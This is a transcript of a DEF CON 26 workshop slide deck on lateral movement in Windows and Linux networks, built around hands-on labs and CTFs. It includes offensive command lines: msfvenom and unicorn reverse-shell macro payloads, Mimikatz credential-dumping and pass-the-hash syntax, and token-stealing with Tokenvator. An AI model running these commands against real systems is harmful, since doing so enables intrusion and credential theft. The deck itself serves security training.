Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS...

87
Lateral Movement 101 @ Defcon 26 Walter Cuestas @wcu35745 Mauricio Velazco @mvelazco

Transcript of Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS...

Page 1: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lateral Movement 101 @ Defcon 26

Walter Cuestas @wcu35745

Mauricio Velazco @mvelazco

Page 2: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

About

●  Workshop goals

●  Lab Environment

●  Hands-on exercises & CTF

Page 3: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

#Whoarewe

●  Walter Cuestas (@wcu35745)

●  Mauricio Velazco (@mvelazco)

3

Page 4: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Introduction

4

Page 5: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lateral Movement

●  Techniques that enable an adversary to access and control remote systems on a network –  https://attack.mitre.org/wiki/Lateral_Movement

5

Page 6: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

The Attack Lifecycle

6

Initial Compromise

Privilege Escalation

Recoinissance Lateral Movement

Exfiltration

Page 7: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

The Attack Lifecycle

7

Page 8: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Initial Compromise

8

Page 9: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Initial Compromise

●  Server Side Attack –  Web Application ( SQLi, RFI, etc. )

–  Platform Vulnerability ( SMBv1, Apache Struts, etc.)

●  Client Side Attack –  Spear Phishing

–  USB

–  Physical Attack

9

Page 10: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Initial Compromise

10 https://isc.sans.edu/forums/diary/Malspam+pushing+Emotet+malware/22650/

Page 11: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Command & Control Frameworks

●  Metasploit Meterpreter = Meta Interpreter –  https://dev.metasploit.com/documents/

meterpreter.pdf

●  Powershell Empire –  https://github.com/EmpireProject/Empire

●  Throwback –  https://github.com/silentbreaksec/Throwback

11

Page 12: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Meterpreter

●  Extensible C-based payload that uses in-memory DLL injection to load modules at runtime

●  Meterpreter and the modules it loads run from memory, never touching disk.

●  Supports HTTP & HTTPS for C2

12

Page 13: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Meterpreter

13

Page 14: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Reverse_http

14

Page 15: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Reverse_https

15

Page 16: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Reverse_https

16

Page 17: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Powershell Empire

●  Pure-PowerShell2.0 Windows remote administration tool.

●  Cryptologically-secure communications

●  Integrated by default with other Powershell frameworks like PowerSploit and PowerView

●  Flexible C2 settings

●  HTTP & HTTPS

17

Page 18: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Powershell Empire

18

Page 19: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Powershell Empire

19

Page 20: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Powershell Empire

20

Page 21: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Client Side Attacks

●  Binaries –  PE (Portable Executable)

●  Exe, dlls, etc

●  Office Documents –  VBA Macro

–  OLE

21

Page 22: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Client Side Attacks

●  Powershell Oneliners

●  Active Scripts –  VBS, JS, HTA

Page 23: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 1 & 2

23

Page 24: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Macros

●  Metasploit –  use exploit/multi/fileformat/office_macro

–  msfvenom –p [Payload] LHOST=[IP] –f vba / vba-psh / vba-exe

●  Empire –  usestager windows/macro

●  LuckyStrike –  https://github.com/curi0usJack/luckystrike

●  Unicorn –  unicorn.py payload reverse_ipaddr port macro

–  https://github.com/trustedsec/unicorn 24

Page 25: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Reconnaissance and Situational Awareness

25

Page 26: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Host Enumeration

●  Privileges

●  Local User Groups

●  Installed Software

●  Services

26

Page 27: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Active Directory Domain Services

27 http://bucarotechelp.com/computers/winadmin/89001102.asp

Page 28: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Domain Enumeration

●  Allows an attacker to identify: –  Users

–  Computers

–  Organizational Units

–  Groups

–  Group Policy Objects

–  ….

–  …..

28

Page 29: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Domain Enumeration

●  Net commands –  net user /domain

–  net group /domain

29

Page 30: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Domain Enumeration

●  Meterpreter –  post/windows/gather/enum_domain

–  post/windows/gather/enum_domain_users

–  post/windows/gather/enum_domain_group_users

–  ADSI (Active Directory Services Interfaces) ●  adsi_dc_enum

●  adsi_computer_enum

●  adsi_user_enum

●  ads_nested_group_user_enum

30

Page 31: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Domain Enumeration

●  PowerView ( PowerSploit ) –  https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

–  Get-NetDomainController

–  Get-NetUser –  Get-NetComputer

–  Get-NetGroup

–  …..

–  …….

31

Page 32: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Domain Enumeration

●  LDAP ( 389 TCP ) –  ldapsearch

–  ldapminer.exe

–  Jexplorer

●  Powershell –  ADSI

–  Active Directory Module

32

Page 33: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 3

33

Page 34: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

BloodHound

●  “BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify”

●  https://github.com/BloodHoundAD/BloodHound

34

Page 35: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

BloodHound

35

Page 36: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Network Enumeration

●  Arp table

36

Page 37: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Network Enumeration

●  Meterpreter –  portscanner

–  smb_version

–  smb_login

●  Empire –  situational_awareness/network/postscan -> Invoke-PortScan

–  situational_awareness/network/smbscanner -> Invoke-SMBScanner

37

Page 38: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Invoke-PortScan

38

Page 39: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 4

39

Page 40: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

CTF 1

40

Page 41: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

Page 42: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation •  Not always you get access with a high level user o  That’s what Privilege Escalation is about : getting God level

•  Vertical privilege escalation o  When user can access resources, features or functionalities related

to more privileged accounts.

•  Horizontal privilege escalation o  When user have the ability to access the resources, features or

functionalities of the accounts having similar privileges. Administrator

Oscar Felipe

Vertical

Horizontal

Page 43: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation •  Kernel exploitation

o  By exploiting vulnerabilities in the operating system kernel.

•  Vulnerable applications o  When application is running with administrator privileges, then

by exploiting vulnerability we could get administrator privileges.

•  Bypass of authorization o  When we can log in as a higher privileged account without

using password, for example.

•  Misconfiguration o  When an application installed on operating system has wrong

configuration.

Page 44: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

l  MS Windows �  Options such as getsystem from Meterpreter fails

because User Account Control (UAC) �  Some Metasploit commands to have at hand :

l  sessions -l �  Shows established sessions with victim

l  sessions -i # �  Changes to the corresponding # session

l  Background �  Send current session to background

l  back �  Gets you out of current context

Page 45: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

l  Getting access through a Meterpreter session

Page 46: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

l  Checking current user �  It’s a simple user, no high privileges

�  Getsystem will fail

Page 47: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation l  Our victim has a default UAC configuration

l  We need to send our current Meterpreter session to background

l  Invoke a “bypassuac” module (if we are lucky, it works)

Page 48: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

l  This is important for the local exploit �  We need to specify a Listener port

l  If local exploitation (UAC bypass) is successful, We’ll have a new Meterpreter session

l  ID of Meterpreter session that local exploit will use

Page 49: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

l  Executing local exploit, successful UAC bypas and new Meterpreter session is forked

Page 50: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

l  But, We still don’t have God level,

l  We need NT AUTHORITY\SYSTEM �  Extensions such as mimikatz will fail

Page 51: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

l  After UAC bypass, getsystem should work �  Now, the friendly mimikatz will do its thing

Page 52: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Privilege Escalation

Page 53: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Another method : Impersonation

•  Tokens are for WS Windows what cookies are for web applications.

•  After logon, system creates an access token. o  Every process executed on behalf of this user will have a

copy of this access token. o  The system uses this token to identify the associated user

when a process tries to access a securable object or perform a system administration task that requires privileges.

o  The token also contains a list of the privileges held by the user or the user's groups.

o  (From Microsfot web)

Page 54: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Another method : Impersonation

•  An XSS is a way to steal a cookie o  But a little more about tokens

§  Primary (Process) Tokens q  These dictate the privileges of the associated process.

§  Impersonation (Thread) Tokens q  Windows also uses the concept of impersonation, which allows a thread

to temporarily impersonate a different security context if given access to a different access token.

q  Classic example : If you have a FTP server running with a service account and don’t want to have it checking access (username/groups-àACLs(folders/files), you can leave this work to MS Windows kernel by having the “serving thread” running under the client’s user security context = impersonation (Linux -à setuid).

Page 55: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Another method : Impersonation

Page 56: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Tokenvator : new kid in town

•  By Alexander Polce Leary o  A tool to elevate privilege with Windows Tokens

o  This tool has two methods of operation - interactive and argument modes §  Interactive Mode:

q  C:> tokenvator.exe q  (Tokens) > steal_token 908 cmd.exe q  (Tokens) >

§  Arguments Mode: q  C:> tokenvator.exe steal_token 908 cmd.exe q  C:>

Page 57: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Tokenvator : new kid in town

Page 58: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Tokenvator : new kid in town

Page 59: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 5

59

Page 60: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 6

60

Page 61: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 7

61

Page 62: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Credentials Harvesting

Page 63: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Mimikatz l  Everybody knows Mimikatz l  It requires SYSTEM privileges to be the real

hammer l  There are several ways to use it: �  Compile and use (getting source from https://

github.com/gentilkiwi/mimikatz) �  Use the executable from same GitHub repo �  User Meterpreter extension �  Use Powershell version (Invoke-Mimikatz, also included

in Empire)

Page 64: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Mimikatz

l  How it works ? �  After logon, there is a way to keep credentials in memory to

have a SSO (single sign on) mechanism in order to ease the resoucer access

l  These credentials can include Kerberos tickets, NTLM hashes, LM hashes (if password lenght is less than 15 chars, sí el password tiene menos de 15 caracteres, depending on the version and patch level) and plain text passwords (WDigest y SSP), among others.

�  It reads data from Security Accounts Manager Service or from a memory dump

l  Security Accounts Manager Service is known as SamSs and the corresponding process is LSASS

Page 65: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Mimikatz

l  Sekurlsa is the most used module �  It can get

l  Hashes y llaves desde MSV1_0 l  Passwords desde TsPkg l  Passwords desde Wdigest l  Passwords desde LiveSSP (Microsoft Live) l  Passwords, ekeys, tickets y pines desde Kerberos l  Passwords desde SSP

�  And also it does pass-the-hash, pass-the-ticket, etc.

Page 66: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Credentials in MS Windows

Page 67: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Some terminology l  Local Security Authority Subsystem Service (LSASS) is the

process that is responsible for forcing the security policy in the system. Verify the users that are logging into the MS Windows (server or workstation), handle the password changes, create access tokens and write the Security log.

l  WDigest implements the Digest Authentication protocol that is designed to be used with authentication processes via HTTP and Simple Authentication Security Layer (SASL).

l  A Security Support Provider (SPP) is a DLL that makes one or more security packages available for applications.

l  DPAPI (Data Protection Application Programming Interface) is an API for cryptography embedded since MS Windows 2000 and later.

Page 68: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Mimikatz : Some Options

l  privilege::debug �  Just to check if SYSTEM privileges are enabled.

l  sekurlsa::logonpasswords �  Get plain text passwords, hashes and more

l  sekurlsa::pth /user:<user_name> /domain:<AD_domain> /ntlm:<user_hash> /run:<command> �  Pass-The-Hash

Page 69: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 8

69

Page 70: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 9

70

Page 71: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lateral Movement

71

Page 72: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

SMB (Server Message Block)

●  Network File Sharing Protocol (CIFS)

●  Port TCP/445

●  Administrative Shares ( C$, IPC$, ADMIN$)

Page 73: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 10

73

Page 74: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

RPC (Remote Procedure Call)

●  Allows a program to call a function from another host through the network

●  Port TCP/135 ( Portmapper)

●  Features –  Service Control Manager

–  Task Scheduler

–  DCOM

74

Page 75: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

WMI ( Windows Management Instrumentation)

●  Microsoft’s Implementation of WBE (Web Based Enterprise Management)

●  Leverages RPC (TCP 135)

●  Win32_Process class

75

Page 76: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

WMI Matt Graeber

76

Page 77: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 11

77

Page 78: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

CTF 2

78

Page 79: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Impacket

●  https://github.com/CoreSecurity/impacket

●  Python classes that implement windows network protocols: –  SMB1, SMB2, SMB3, MSRPC

●  Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys.

79

Page 80: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 12

80

Page 81: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

WinRM (Windows Remote Management)

●  Microsoft’s implementation of WS-Management.

●  SOAP based endpoint management protocol. –  Port 5985/5986

●  Windows Remote Shell

●  Powershell Remoting 81

Page 82: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 13

82

Page 83: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lateral Movement on Linux

83

Page 84: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)
Page 85: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

● Let’s try “mimikatz” on Linux : minipenguin

•  Plain text credentials on memory --> processes

•  It does a comparison with stored hashes.

•  Search for system and vsftp, apache, ssh.

•  Needs root.

Page 86: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lab 14

86

Page 87: Lateral Movement 101 @ Defcon 26 CON 26/DEF CON 26... · Another method : Impersonation • An XSS is a way to steal a cookie o But a little more about tokens § Primary (Process)

Lateral Movement 101 @ Defcon 26

Walter Cuestas @wcu35745

Mauricio Velazco @mvelazco

87